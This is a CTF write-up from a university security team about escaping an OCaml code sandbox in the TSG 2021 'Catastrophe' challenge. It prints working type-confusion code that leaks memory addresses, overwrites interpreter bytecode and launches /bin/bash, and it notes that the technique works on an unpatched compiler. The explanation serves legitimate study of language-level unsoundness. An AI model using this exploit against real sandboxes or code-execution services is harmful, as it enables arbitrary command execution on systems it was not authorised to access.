CTF Team at the University of British Columbia

[TSG 2021] Catastrophe - OCaml Exploitation

03 Oct 2021 by Robert Xiao

Maple Bacon participated in TSG CTF 2021, which was organized by the Theoretical Science Group of the University of Tokyo. We placed 13th overall. During the competition, I worked on a problem called Catastrophe, which was about exploiting a deliberately introduced bug in the OCaml compiler. We ended up being the only solvers for this challenge!

I chose this problem because I’ve never done anything with OCaml, so it seemed like a good opportunity to learn a little about the language. OCaml is a strongly typed programming language with strong type-safety guarantees: programs which compile correctly (and which avoid explicitly-unsafe operations) will generally be free of undefined behaviour.

In this challenge, we’re allowed to upload OCaml code to a remote server, which will compile and then execute our code with a few restrictions applied. There have been at least two prior CTF challenges with a similar setup: mlml at SECCON 2020 and Secure OCaml Sandbox at PlaidCTF 2021.

The restrictions applied are intended to serve as a sort of sandbox, to prevent us from doing things which break type safety as well as preventing access to functionality like file reading and command execution. The specific set of restrictions is as follows:

  • Only the Printf and Bytes modules are available
  • The Bytes module is patched so that all of its unsafe functions are unavailable
  • The following strings are forbidden from appearing anywhere in the uploaded code:
    • __: Blocks access to certain built-in internal variables
    • open, include: Prevents loading new modules
    • unsafe: Blocks unsafe functionality
    • .: Prevents accessing any sub-object; in particular, blocks the Callback.register function used in some of the solutions to the PlaidCTF 2021 problem
    • external: Prevents accessing native functions
    • (*: Blocks comments
    • match: Blocks match expressions; this blocks the match-based type safety hole which was the intended bug in the SECCON 2020 problem
    • read, #, [, {%, {<: I’m not completely sure why these are banned

The intentional bug

In this challenge, the compiler is patched in a particular way to open a huge type-safety hole:

diff -ruN ocaml-4.12.0/typing/typecore.ml ocaml/typing/typecore.ml
--- ocaml-4.12.0/typing/typecore.ml	2021-02-24 11:15:39.000000000 +0000
+++ ocaml/typing/typecore.ml	2021-09-10 10:12:07.996226021 +0000
@@ -2163,7 +2163,7 @@
   | Texp_letexception _
   | Texp_letop _
   | Texp_extension_constructor _ ->
-    false
+    try let _ = Sys.getenv "PWN" in true with Not_found -> false

 and is_nonexpansive_mod mexp =
   match mexp.mod_desc with

On the remote server, the PWN environment variable is indeed set, which causes this patched line of code to return true instead of false. This patch causes the function is_nonexpansive to return true under almost any circumstance. To understand how this breaks type safety, the best guide I found was Weak Type Variables on OCamlverse. In short, certain operations are impure from a functional programming perspective (they have side effects) which means that the type checker needs more information in order to fully determine the types involved. The function is_nonexpansive is responsible for determining which operations may have such side effects.

One such operation is partial function application (Texp_apply). The guide gives the following example of a case where partial function application can produce side effects:

let const _ =
  let cache = ref None in
  fun x -> match !cache with
    | Some cached when cached = x -> cached
    | _ -> cache := Some x; x

Calling let id = const () will create a closure with an internal mutable reference, which can be returned by future calls to the same function.

A naïve type-check of id would give it the type 'a -> 'a, that is, a function which returns the same type as what you passed in; however, due to the internal reference, a different type might actually be returned, which would break type safety. The guide gives the following example:

let x = ref 0 and y = ref 3.14 in
  id x;
  id y := 0.0

Indeed, if we try this slightly modified example with the broken compiler:

let const _ =
  let cache = ref None in
  fun x -> match !cache with
    | Some cached -> cached
    | _ -> cache := Some x; x

let id = const ()
;;

let x = ref 0 and y = ref "x" in
  id x;
  id y := "cool";
  Printf.printf "%x\n" !x;

we get output like 3fdefafbefc8, which looks kind of like a memory address! In fact, it’s exactly 1/2 of a memory address, because OCaml treats the low bit of integers as a flag bit.

Unfortunately, the match expression is banned, so we have to find some other way to implement this buggy function. We can use the implicit pattern matching syntax instead, which looks like this:

let foo = function
  | Some x -> 0
  | _ -> 1

…wait a sec, this is a match expression without the match keyword! It passes the string filter, and so we can use the SECCON 2020 solution with the match type unsafety, without using the bug that TSG provided!

The unintentional bug

I’m not very good with OCaml code, so after a few attempts of trying and failing to adjust the cache function to do what I wanted (without using match), I decided to instead just rewrite the SECCON 2020 exploit to avoid the match keyword.

A quick background on this bug: it turns out that the OCaml compiler contains a real type unsafety bug relating to mutations within match expressions, which has not been fixed in over five years. From the SECCON 2020 writeup, the following code will segfault:

type u = {a: bool; mutable b: int option}

let f x =
  match x with
    {a=false} -> 0
  | {b=None} -> 1
  | _ when (x.b <- None; false) -> 2
  | {a=true; b=Some y} -> y

let _ = f {a=true; b=Some 5}

Match arms are tested in sequence; for this particular input, only the last match arm should match. However, the third match arm overwrites x.b with a None, which causes the final match arm to dereference None and crash. This can be used as the basis for a type confusion exploit. The SECCON post comes with an exploit, but it uses a ton of hardcoded constants which I could not successfully adjust. Instead, I focused on the core of the type confusion exploit, which looks like this (slightly rewritten):

type s = A of int | B of string
let leak (x1,x2) s =
  match (x1,x2) with
    (false,_) -> 0
  | (_,{contents=B _}) -> 1
  | _ when (x2 := B(s); false) -> 2
  | (true, {contents=A y}) -> y

let x = leak (true, ref (A 1)) "asdf" * 2
let _ = Printf.printf "0x%x\n" x

This prints out a memory address corresponding to the address of the string "asdf". We can rewrite this without the match keyword:

type s = A of int | B of string
let leak s = function
    (false,_) -> 0
  | (_,{contents=B _}) -> 1
  | (x1,x2) when (x2 := B(s); false) -> 2
  | (true, {contents=A y}) -> y

let x = leak "asdf" (true, ref (A 1))  * 2
let _ = printf "0x%x\n" x

which passes all restrictions and still prints out a memory address! So, at this point, we can abuse the type system, and we didn’t even have to use the provided bug.

The exploit

I initially tried to adjust the SECCON exploit, and got as far as overwriting __free_hook successfully on the TSG libc, but since free doesn’t get called frequently in OCaml, this was unfruitful. Instead, I decided to go for a simpler approach: overwrite the OCaml bytecode directly to execute arbitrary code.

OCaml bytecode is quite unusual: it’s a sequence of 32-bit words which are actually code offsets inside the interpreter’s main loop, which is written in C. The interpreter does the following to dispatch an instruction:

goto *(void *)(jumptbl_base + *pc++)

We could corrupt the pc to jump to the middle of an instruction handler and do ROP-like things, but the easier thing would be simply to overwrite the argument to an instruction like C_CALL1:

    Instruct(C_CALL1):
      Setup_for_c_call;
      accu = Primitive(*pc)(accu);
      Restore_after_c_call;
      pc++;
      Next;

This uses *pc as an index into a table called caml_prim_table containing every primitive (C) function. Luckily, one of those functions is caml_sys_system_command, corresponding to the OCaml function Sys.command and functioning very similarly to system in C.

The exploit I devised does the following:

  • Define a function which calls int_of_string, a benign primitive function with the same signature as Sys.command.
  • Alias a reference to that function as an integer to leak its address
  • Alias an integer as a bytes object to provide access to the bytecode
    • There’s a slight subtlety here: the bytes object requires a valid header with an object size that is valid, since OCaml will attempt to dereference the last byte of the object in caml_string_length. The pointer also needs to be odd because of how integers are stored.
  • Patch the C_CALL instruction’s argument to point at caml_sys_system_command
  • Execute the modified function to gain a shell

The code is relatively short and sweet:

type a = A1 of int ref | A2 of (string -> int)
type b = B1 of int | B2 of bytes

let leak_fn fn_s2i = function
    (false, _) -> ref 0
  | (_, {contents=A2 _}) -> ref 1
  | (x1, x2) when (x2 := A2 fn_s2i; false) -> ref 2
  | (true, {contents=A1 addr}) -> addr

let mkbytes addr = function
    (false, _) -> of_string "a"
  | (_,{contents=B1 _}) -> of_string "b"
  | (x1, x2) when (x2 := B1 addr; false) -> of_string "c"
  | (true, {contents=B2 y}) -> y

let magic x = int_of_string x

let magic_addr = !(leak_fn magic (true, ref (A1 (ref 1)))) * 2
let magic_bytes = mkbytes ((magic_addr + 3) / 2) (true, ref (B2 (of_string "x")))
let _ = set magic_bytes 5 (char_of_int 0x82)
let _ = set magic_bytes 6 (char_of_int 0x01)
let _ = magic "/bin/bash"

When run, this hands us a shell, from which we can use ls and cat to get the flag:

TSGCTF{superCamlFlagilisticExplicitUnsound}

Best of all, it works even with PWN unset, i.e. without the deliberate bug that was introduced for this problem!